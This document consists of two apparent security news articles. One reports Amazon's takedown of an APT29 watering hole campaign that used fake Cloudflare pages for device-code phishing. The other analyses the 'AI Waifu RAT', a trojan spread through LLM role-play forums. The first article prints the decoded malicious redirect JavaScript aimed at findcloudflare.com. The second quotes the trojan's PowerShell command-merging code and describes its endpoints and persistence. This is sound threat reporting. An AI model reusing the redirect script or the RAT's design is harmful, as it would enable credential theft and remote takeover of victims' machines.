Amazon’s threat intelligence team uncovered a sophisticated watering hole campaign in late August 2025, which is orchestrated by APT29, also known as Midnight Blizzard, a Russian Foreign Intelligence Service–linked actor.

The operation relied on the compromise of legitimate websites to redirect unsuspecting visitors to malicious infrastructure.

Once redirected, users encountered counterfeit Cloudflare verification pages designed to harvest credentials and trick victims into authorizing attacker-controlled devices through Microsoft’s device code authentication flow.

The campaign’s breadth was striking: approximately 10 percent of site visitors were siphoned off to actor-controlled domains such as findcloudflare[.]com and cloudflare.redirectpartners[.]com.

These domains mimicked official security checks so convincingly that many users failed to detect the ruse.

Amazon analysts noted that this approach marked a significant evolution in APT29’s tradecraft. Instead of relying solely on phishing emails or targeted spear-phishing, the group employed opportunistic injection of obfuscated JavaScript into compromised sites.

This tactic broadened their potential victim pool by embedding malicious redirects directly into popular web pages.

Visitors were often unaware they were being rerouted until prompted to enter device codes or approve new device authorizations—actions that granted the threat actor persistent access.

The impact of this campaign extended beyond mere credential theft. By integrating with Microsoft’s device code authentication, APT29 could persist within corporate environments, leveraging authorized sessions to move laterally and gather intelligence.

Although no AWS systems were compromised, the incident underscored the persistent threat posed by state-sponsored actors adapting their methods to evade traditional defenses.

Amazon worked rapidly with Cloudflare, Microsoft, and other providers to dismantle the malicious domains and isolate compromised EC2 instances, illustrating the power of coordinated industry response.

Technical Overview of Obfuscated JavaScript

A closer look at the injected script reveals several advanced evasion techniques. The JavaScript payload was base64-encoded to mask its true purpose, and randomization logic redirected only a subset of visitors, reducing the likelihood of detection.

Once decoded, the snippet performed a server-side redirect to the fraudulent authentication page while setting cookies to prevent repeated redirects of the same user. A simplified version of the decoded code appears below:-

(function(){
    var uid = Math.random().toString(36).substring(2);
    if (!document.cookie.includes('redir='+uid) && Math.random()<0.1) {
        document. Cookie = 'redir='+uid+';path=/';
        window.location.replace('https://findcloudflare.com/device/code?auth=' + uid);
    }
})();

This snippet exemplifies APT29’s shift from client-side to server-side redirects when previous infrastructure was disrupted.

By rapidly migrating to new domains and refining their code, the group sustained their campaign despite ongoing takedowns.

Amazon’s successful disruption of this infrastructure highlights the necessity for continuous monitoring of web-based threats and collaboration across the security community.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Amazon Dismantles Russian APT 29 Infrastructure Used to Attack Users appeared first on Cyber Security News.

A sophisticated malware campaign targeting niche Large Language Model (LLM) role-playing communities has emerged, leveraging advanced social engineering tactics to distribute a dangerous Remote Access Trojan (RAT).

The malware, dubbed “AI Waifu RAT” by security researchers, masquerades as an innovative AI character enhancement tool that promises “meta” interactions between users and their virtual AI companions.

The attack begins with a deceptively appealing proposition posted in LLM role-playing forums.

The threat actor introduces their creation as a research project that allows users’ AI character “Win11 Waifu” to break the fourth wall and interact directly with their real-world computer systems.

This marketing approach exploits the community’s fascination with advanced AI capabilities and novel interactions, presenting Arbitrary Code Execution (ACE) as a desirable feature rather than a critical security vulnerability.

The malware’s distribution method represents a masterclass in targeted social engineering, specifically designed to prey on the technical curiosity and trust within these specialized communities.

An analyst Ryingo identified the threat after discovering its active circulation and conducted an extensive technical analysis that revealed the true nature of this seemingly innocent “research project.”

The threat actor, operating under multiple aliases including KazePsi and PsionicZephyr, presents themselves as a legitimate CTF (Capture The Flag) player and cybersecurity researcher.

However, investigation reveals no credible evidence of their participation in legitimate security competitions or research.

Instead, their technical implementation demonstrates poor coding practices and rudimentary security knowledge inconsistent with genuine cybersecurity expertise.

Technical Architecture and Command Structure

The AI Waifu RAT operates through a straightforward yet effective architecture. The malware establishes a local HTTP server listening on port 9999, creating a communication channel between the victim’s system and the LLM-controlled interface.

This design choice enables seamless integration with web-based AI platforms while maintaining persistent access to the infected machine.

The RAT exposes three primary command and control endpoints that facilitate comprehensive system compromise.

The /execute_trusted endpoint represents the most dangerous component, accepting plaintext JSON commands and executing them directly through PowerShell processes.

The implementation shows:-

qmemcpy(ps_cmd, "$OutputEncoding = [System.Text.Encoding]::UTF8;", 48);
memcpy(ps_cmd + 48, remote_cmd, ttlSize); // merge remote cmd

This code snippet demonstrates how the malware prepends UTF-8 encoding commands to user-supplied instructions before execution, enabling arbitrary command execution on the victim’s system.

The /execute endpoint includes a superficial security prompt that can be bypassed entirely by using the trusted endpoint, rendering the protection mechanism ineffective.

Additionally, the /readfile endpoint allows complete filesystem access, enabling data exfiltration and reconnaissance activities.

The malware’s persistence mechanism involves writing registry entries to ensure automatic startup, while its evasion techniques include instructing users to disable antivirus software under the guise of eliminating “false positives.”

This social engineering approach effectively neutralizes the primary defense layer, allowing the malware to operate undetected on compromised systems.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post AI Waifu RAT Attacking Users With Novel Social Engineering Techniques appeared first on Cyber Security News.